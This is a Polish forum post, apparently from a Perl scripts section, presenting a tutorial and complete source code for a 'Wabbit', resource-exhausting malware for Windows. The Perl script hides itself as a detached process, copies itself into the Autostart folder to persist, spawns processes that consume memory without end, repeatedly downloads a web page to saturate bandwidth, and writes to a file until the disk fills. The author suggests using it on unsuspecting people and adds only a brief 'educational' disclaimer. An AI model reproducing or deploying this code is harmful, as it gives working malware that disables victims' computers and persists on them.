Forum taboret2 Strona Główna

taboret2
T2 script
 

Wabbit [Zlosliwe Oprogramowanie]

 
Napisz nowy temat   Odpowiedz do tematu    Forum taboret2 Strona Główna -> Skrypty Perl
Zobacz poprzedni temat :: Zobacz następny temat  
Autor Wiadomość
nforce17
Administrator



Dołączył: 05 Lis 2006
Posty: 388
Przeczytał: 0 tematów

Pomógł: 4 razy
Ostrzeżeń: 0/5

PostWysłany: Sob 14:08, 21 Sie 2010    Temat postu: Wabbit [Zlosliwe Oprogramowanie]

Moze zacznijmy od tego co to jest Wabbit.
Otoz Wabbit to jeden z odmian "wirusow" polegajacy na wyczerpania jakis zasobow komputerowych.

Napisanie prostego Wabbita jest bardzo proste.
Takim Wabbitem mozemy umilic komus kto sie nie zna zycie. Smile

No wiec z punktu widzenia duzo osob moze myslec ze napisanie przykladowego "wirusa" jest trudne otoz nie nie jest wcale az tak trudne.

Dobrze gdy juz troszke opisalem naszego Wabbita przejdzmy do konkretow:

Co bedzie robil nasz wabbit ? Otoz:

Zapychal dysk
Zjadal Ram
Zjadal Lacze
Dzialal W Tle
Przyjalem rowniez ze system windows zostal zainstalowany na dysku: C:

A o to kod i opis przykladowego prostego Wabbit'a:

Na poczatek dodajemy moduly:


Kod:
use Cwd;
use LWP::UserAgent;
use Win32;
use Win32::Process;

Pierwszy modul: Do sprawdzania sciezki
Drugi: Do wykonywania polaczen
Kolejne dwa do ukrycia naszej aplikacji w tle Wink


Kod:
$dir = cwd;
$nr = 0;
$auto_start = "C:/Documents and Settings/All Users/Menu Start/Programy/Autostart/";
@localize = split(/\//, $dir);
$dir2 = "". $localize[0] ."/Wabbit.pl";
chop($dir);
print $localize[0];
$dir .= "/koniec.exe";


$dir = sciezka do pliku ktory zapcha dysk
$auto_start = dodanie pliku do autostartu
@localize = Wyciecie nazwy dysku/folderu w ktorym bedzie plik ktory zapcha nasz dysk


Kod:
$perl_search = 'C:/perl/bin/perl.exe';
$wabitus = 'perl -w Wabbit.pl';
$katalog = 'C:/';

Win32::Process::Create($Win32::Process::Create::ProcessObj,
   $perl_search,
    $wabitus,
    0,
    DETACHED_PROCESS,
    $katalog) or die print "dupa";

$perl_search = lokalizacja perla
$wabitus = nazwa skryptu
$katalog = katalog roboczy.

Komenda ktora wystepuje po zmiennych odpowiada za ukrycie naszego programu w tle.


Kod:
open (wabbit, "Wabbit.pl");
@wabit = <wabbit>;
close wabbit;

open (wabbit, ">". $auto_start ."Wabbit.pl");
print wabbit @wabit;
close wabbit;


Dodanie programu do autostartu


Kod:
while ($nr != 10) {
   $pid = fork();
   if ($pid == 0) {
      bierz_ram();
   }
   $nr++;
}

Utwarza 10 procesow i kazdy wykonuje alias: bierz_ram


Kod:
$nr = 0;
while ($nr != 10) {
   $pid = fork();
   if ($pid == 0) {
      zjedz_lacze();
   }
   $nr++;
}

Utwarza kolejne 10 procesow i kazdy wykonuje alias: zjedz_lacze


Kod:
open (plk, "+>>". $dir ."");
print plk "end\n";


$pid = fork();
if ($pid == 0) {
   baw_sie_plikiem();
}

while (1) {
   print plk "a ja tu dodam tekst!!!!!!!!!!!!!!!!!!!!!!!!!!!\n";
}


Kolejnie otwarcie naszego pliku (ktory zapcha dysk) do odczytu i zapisu
i petla while ktora caly czas dodaje jakis tekst do naszego pliku przez co plik staje sie w szybkim tempie co raz wiekszy.


Kod:
sub bierz_ram {
   $zmienna = "zabierzemy Ci ram :-)";
   while (1) {
      $zmienna .= $zmienna;
      print $zmienna, "\n";
   }
}


Alias bierz_ram
Powieksza w kolko wielkosc zmiennej $zmienna


Kod:
sub baw_sie_plikiem {
   while (1) {
      @co_tam_jest = <plk>;
      print @co_tam_jest, "\n";
      print plk @co_tam_jest;
   }
}


Alias baw_sie_plikiem
petla ktora nigdy sie nie konczy i przypisuje do tablicy wartosc pliku i wywala co w nim jest + dodaje wartosc do naszego pliku ktory zapcha dysk


Kod:
sub zjedz_lacze {
   while (1) {
      $lacze = LWP::UserAgent->new();
      $lacze->agent("Wabbit");
      $response = $lacze->get("http://www.onet.pl");
      if ($response->is_success) {
         if ($response->as_string) {
            print plk "". $response->as_string ."\n";
         }
      }
   }


Alias zjedz_lacze
Sluzy do niekonczacego sie wykonywania polaczen z dana strona i zapisuje caly kod strony w pliku ktory ma zapchac dysk.

I to juz koniecz naszego Wabbita Smile caly kod:


Kod:
# Wabbit
# Autor: nforce
# Wersja Pokazowa

use Cwd;
use LWP::UserAgent;
use Win32;
use Win32::Process;

$dir = cwd;
$nr = 0;
$auto_start = "C:/Documents and Settings/All Users/Menu Start/Programy/Autostart/";
@localize = split(/\//, $dir);
$dir2 = "". $localize[0] ."/Wabbit.pl";
chop($dir);
print $localize[0];
$dir .= "/koniec.exe";

$perl_search = 'C:/perl/bin/perl.exe';
$wabitus = 'perl -w Wabbit.pl';
$katalog = 'C:/';

Win32::Process::Create($Win32::Process::Create::ProcessObj,
   $perl_search,
    $wabitus,
    0,
    DETACHED_PROCESS,
    $katalog) or die print "dupa";

open (wabbit, "Wabbit.pl");
@wabit = <wabbit>;
close wabbit;

open (wabbit, ">". $auto_start ."Wabbit.pl");
print wabbit @wabit;
close wabbit;

while ($nr != 10) {
   $pid = fork();
   if ($pid == 0) {
      bierz_ram();
   }
   $nr++;
}
$nr = 0;
while ($nr != 10) {
   $pid = fork();
   if ($pid == 0) {
      zjedz_lacze();
   }
   $nr++;
}

open (plk, "+>>". $dir ."");
print plk "end\n";


$pid = fork();
if ($pid == 0) {
   baw_sie_plikiem();
}

while (1) {
   print plk "a ja tu dodam tekst!!!!!!!!!!!!!!!!!!!!!!!!!!!\n";
}
sub bierz_ram {
   $zmienna = "zabierzemy Ci ram :-)";
   while (1) {
      $zmienna .= $zmienna;
      print $zmienna, "\n";
   }
}
sub baw_sie_plikiem {
   while (1) {
      @co_tam_jest = <plk>;
      print @co_tam_jest, "\n";
      print plk @co_tam_jest;
   }
}

sub zjedz_lacze {
   while (1) {
      $lacze = LWP::UserAgent->new();
      $lacze->agent("Wabbit");
      $response = $lacze->get("http://www.onet.pl");
      if ($response->is_success) {
         if ($response->as_string) {
            print plk "". $response->as_string ."\n";
         }
      }
   }
}


Otoz jak widzimy napisanie prostego "wirusa" nie jest az tak trudne a zycie mozna umilic Smile

Jesli sa jakies pytania/sugestie prosze pisac chetnie odpowiem. Smile

Na koniec:

Post napisany zostal przeze mnie w celu edukacyjnym nie odpowiadam za wykorzystywanie go do celow wlasnych!


Post został pochwalony 0 razy

Ostatnio zmieniony przez nforce17 dnia Pon 23:15, 20 Lut 2012, w całości zmieniany 6 razy
Powrót do góry
Zobacz profil autora
Wyświetl posty z ostatnich:   
Napisz nowy temat   Odpowiedz do tematu    Forum taboret2 Strona Główna -> Skrypty Perl Wszystkie czasy w strefie EET (Europa)
Strona 1 z 1

 
Skocz do:  
Nie możesz pisać nowych tematów
Nie możesz odpowiadać w tematach
Nie możesz zmieniać swoich postów
Nie możesz usuwać swoich postów
Nie możesz głosować w ankietach


fora.pl - załóż własne forum dyskusyjne za darmo
Powered by phpBB © 2001, 2005 phpBB Group
deoxBlue v1.0 // Theme created by Sopel stylerbb.net & programosy.pl

Regulamin